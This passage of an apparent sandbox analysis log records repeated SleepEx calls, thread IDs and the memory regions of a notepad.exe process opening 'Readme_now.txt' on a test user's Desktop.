SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.886] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.886] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.902] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.917] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.921] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.925] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.944] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.945] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.952] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.953] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.954] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.979] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.980] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.980] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.980] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.980] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.980] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.980] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.980] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.980] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.981] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.981] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.981] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.981] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.981] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.981] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.981] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.981] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.982] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.982] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.982] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.983] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.983] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.983] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.983] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.983] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.983] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.984] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.984] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.984] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.984] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.984] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.984] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.984] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.984] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.984] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.984] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.984] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.984] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.984] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.984] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.984] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 Thread: id = 32 os_tid = 0xad4 Thread: id = 33 os_tid = 0x248 Thread: id = 34 os_tid = 0xc50 Thread: id = 35 os_tid = 0xc90 Thread: id = 36 os_tid = 0x408 Thread: id = 37 os_tid = 0x784 Thread: id = 38 os_tid = 0xf84 Thread: id = 39 os_tid = 0xf60 Thread: id = 42 os_tid = 0xfdc Thread: id = 43 os_tid = 0xff4 Process: id = "8" image_name = "notepad.exe" filename = "c:\\windows\\syswow64\\notepad.exe" page_root = "0x6cf2a000" os_pid = "0xf58" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0x51c" cmd_line = "\"C:\\Windows\\system32\\NOTEPAD.EXE\" C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Readme_now.txt" cur_dir = "C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00013da5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 744 start_va = 0x220000 end_va = 0x257fff entry_point = 0x220000 region_type = mapped_file name = "notepad.exe" filename = "\\Windows\\SysWOW64\\notepad.exe" (normalized: "c:\\windows\\syswow64\\notepad.exe") Region: id = 745 start_va = 0x800000 end_va = 0x47fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000800000" filename = "" Region: id = 746 start_va = 0x4800000 end_va = 0x481ffff entry_point = 0x0 region_type = private name = "private_0x0000000004800000" filename = "" Region: id = 747 start_va = 0x4820000 end_va = 0x4821fff entry_point = 0x0 region_type = private name = "private_0x0000000004820000" filename = "" Region: id = 748 start_va = 0x4830000 end_va = 0x4843fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004830000" filename = "" Region: id = 749 start_va = 0x4850000 end_va = 0x488ffff entry_point = 0x0 region_type = private name = "private_0x0000000004850000" filename = "" Region: id = 750 start_va = 0x4890000 end_va = 0x48cffff entry_point = 0x0 region_type = private name = "private_0x0000000004890000" filename = "" Region: id = 751 start_va = 0x48d0000 end_va = 0x48d3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000048d0000" filename = "" Region: id = 752 start_va = 0x48e0000 end_va = 0x48e2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000048e0000" filename = "" Region: id = 753 start_va = 0x48f0000 end_va = 0x48f1fff entry_point = 0x0 region_type = private name = "private_0x00000000048f0000" filename = "" Region: id = 754 start_va = 0x776b0000 end_va = 0x77828fff entry_point = 0x776b0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 755 start_va = 0x7edd0000 end_va = 0x7edf2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007edd0000" filename = "" Region: id = 756 start_va = 0x7edf7000 end_va = 0x7edf9fff entry_point = 0x0 region_type = private name = "private_0x000000007edf7000" filename = "" Region: id = 757 start_va = 0x7edfa000 end_va = 0x7edfafff entry_point = 0x0 region_type = private name = "private_0x000000007edfa000" filename = "" Region: id = 758 start_va = 0x7edfd000 end_va = 0x7edfdfff entry_point = 0x0 region_type = private name = "private_0x000000007edfd000" filename = "" Region: id = 759 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 760 start_va = 0x7fff0000 end_va = 0x7dfc57b4ffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 761 start_va = 0x7dfc57b50000 end_va = 0x7ffc57b4ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007dfc57b50000" filename = "" Region: id = 762 start_va = 0x7ffc57b50000 end_va = 0x7ffc57d11fff entry_point = 0x7ffc57b50000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 763 start_va = 0x7ffc57d12000 end_va = 0x7ffffffeffff entry_point = 0x0 region_type = private name = "private_0x00007ffc57d12000" filename = "" Region: id = 764 start_va = 0x4a20000 end_va = 0x4a2ffff entry_point = 0x0 region_type = private name = "private_0x0000000004a20000" filename = "" Region: id = 765 start_va = 0x5baa0000 end_va = 0x5baa7fff entry_point = 0x5baa0000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 766 start_va = 0x5bab0000 end_va = 0x5bb22fff entry_point = 0x5bab0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 767 start_va = 0x5bb30000 end_va = 0x5bb7efff entry_point = 0x5bb30000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 768 start_va = 0x4800000 end_va = 0x480ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004800000" filename = "" Region: id = 769 start_va = 0x4810000 end_va = 0x4813fff entry_point = 0x0 region_type = private name = "private_0x0000000004810000" filename = "" Region: id = 770 start_va = 0x4900000 end_va = 0x49bdfff entry_point = 0x4900000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 771 start_va = 0x49c0000 end_va = 0x49fffff entry_point = 0x0 region_type = private name = "private_0x00000000049c0000" filename = "" Region: id = 772 start_va = 0x4a30000 end_va = 0x4a6ffff entry_point = 0x0 region_type = private name = "private_0x0000000004a30000" filename = "" Region: id = 773 start_va = 0x4a70000 end_va = 0x4b6ffff entry_point = 0x0 region_type = private name = "private_0x0000000004a70000" filename = "" Region: id = 774 start_va = 0x4d00000 end_va = 0x4d0ffff entry_point = 0x0 region_type = private name = "private_0x0000000004d00000" filename = "" Region: id = 775 start_va = 0x6edb0000 end_va = 0x6ee16fff entry_point = 0x6edb0000 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\SysWOW64\\winspool.drv" (normalized: "c:\\windows\\syswow64\\winspool.drv") Region: id = 776 start_va = 0x6f250000 end_va = 0x6f458fff entry_point = 0x6f250000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10240.16384_none_3bccb1ff6bcd1849\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10240.16384_none_3bccb1ff6bcd1849\\comctl32.dll") Region: id = 777 start_va = 0x74370000 end_va = 0x7438afff entry_point = 0x74370000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 778 start_va = 0x74750000 end_va = 0x747a8fff entry_point = 0x74750000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 779 start_va = 0x747b0000 end_va = 0x747b9fff entry_point = 0x747b0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 780 start_va = 0x747c0000 end_va = 0x747ddfff entry_point = 0x747c0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 781 start_va = 0x74a00000 end_va = 0x74aabfff entry_point = 0x74a00000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 782 start_va = 0x74ab0000 end_va = 0x74abbfff entry_point = 0x74ab0000 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 783 start_va = 0x74da0000 end_va = 0x74de3fff entry_point = 0x74da0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 784 start_va = 0x74f40000 end_va = 0x7502ffff entry_point = 0x74f40000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 785 start_va = 0x75030000 end_va = 0x7517cfff entry_point = 0x75030000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 786 start_va = 0x75180000 end_va = 0x7518efff entry_point = 0x75180000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 787 start_va = 0x75190000 end_va = 0x75305fff entry_point = 0x75190000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 788 start_va = 0x75310000 end_va = 0x766cefff entry_point = 0x75310000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 789 start_va = 0x766d0000 end_va = 0x7678dfff entry_point = 0x766d0000 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\SysWOW64\\comdlg32.dll" (normalized: "c:\\windows\\syswow64\\comdlg32.dll") Region: id = 790 start_va = 0x76790000 end_va = 0x76c6cfff entry_point = 0x76790000 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\SysWOW64\\windows.storage.dll" (normalized: "c:\\windows\\syswow64\\windows.storage.dll") Region: id = 791 start_va = 0x76c70000 end_va = 0x76daffff entry_point = 0x76c70000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 792 start_va = 0x76f20000 end_va = 0x76fddfff entry_point = 0x76f20000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 793 start_va = 0x770d0000 end_va = 0x77161fff entry_point = 0x770d0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 794 start_va = 0x77260000 end_va = 0x772a3fff entry_point = 0x77260000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\SysWOW64\\powrprof.dll" (normalized: "c:\\windows\\syswow64\\powrprof.dll") Region: id = 795 start_va = 0x772b0000 end_va = 0x772f2fff entry_point = 0x772b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 796 start_va = 0x77300000 end_va = 0x7738cfff entry_point = 0x77300000 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 797 start_va = 0x77390000 end_va = 0x77549fff entry_point = 0x77390000 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 798 start_va = 0x77550000 end_va = 0x775cafff entry_point = 0x77550000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 799 start_va = 0x7ecd0000 end_va = 0x7edcffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ecd0000" filename = "" Region: id = 800 start_va = 0x7edf4000 end_va = 0x7edf6fff entry_point = 0x0 region_type = private name = "private_0x000000007edf4000" filename = "" Region: id = 801 start_va = 0x4b70000 end_va = 0x4cf7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004b70000" filename = "" Region: id = 802 start_va = 0x74df0000 end_va = 0x74f0ffff entry_point = 0x74df0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 803 start_va = 0x74f10000 end_va = 0x74f3afff entry_point = 0x74f10000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 809 start_va = 0x4820000 end_va = 0x4822fff entry_point = 0x4820000 region_type = mapped_file name = "notepad.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\notepad.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\notepad.exe.mui") Region: id = 810 start_va = 0x4a00000 end_va = 0x4a00fff entry_point = 0x0 region_type = private name = "private_0x0000000004a00000" filename = "" Region: id = 811 start_va = 0x4a10000 end_va = 0x4a10fff entry_point = 0x0 region_type = private name = "private_0x0000000004a10000" filename = "" Region: id = 812 start_va = 0x4d10000 end_va = 0x4e90fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004d10000" filename = "" Region: id = 813 start_va = 0x4ea0000 end_va = 0x629ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004ea0000" filename = "" Region: id = 814 start_va = 0x62a0000 end_va = 0x62a3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000062a0000" filename = "" Region: id = 815 start_va = 0x62b0000 end_va = 0x62b1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000062b0000" filename = "" Region: id = 816 start_va = 0x62c0000 end_va = 0x6377fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000062c0000" filename = "" Region: id = 817 start_va = 0x63d0000 end_va = 0x63dffff entry_point = 0x0 region_type = private name = "private_0x00000000063d0000" filename = "" Region: id = 818 start_va = 0x74610000 end_va = 0x7462cfff entry_point = 0x74610000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 819 start_va = 0x74630000 end_va = 0x746a4fff entry_point = 0x74630000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Thread: id = 40 os_tid = 0xfc0 Thread: id = 41 os_tid = 0xf00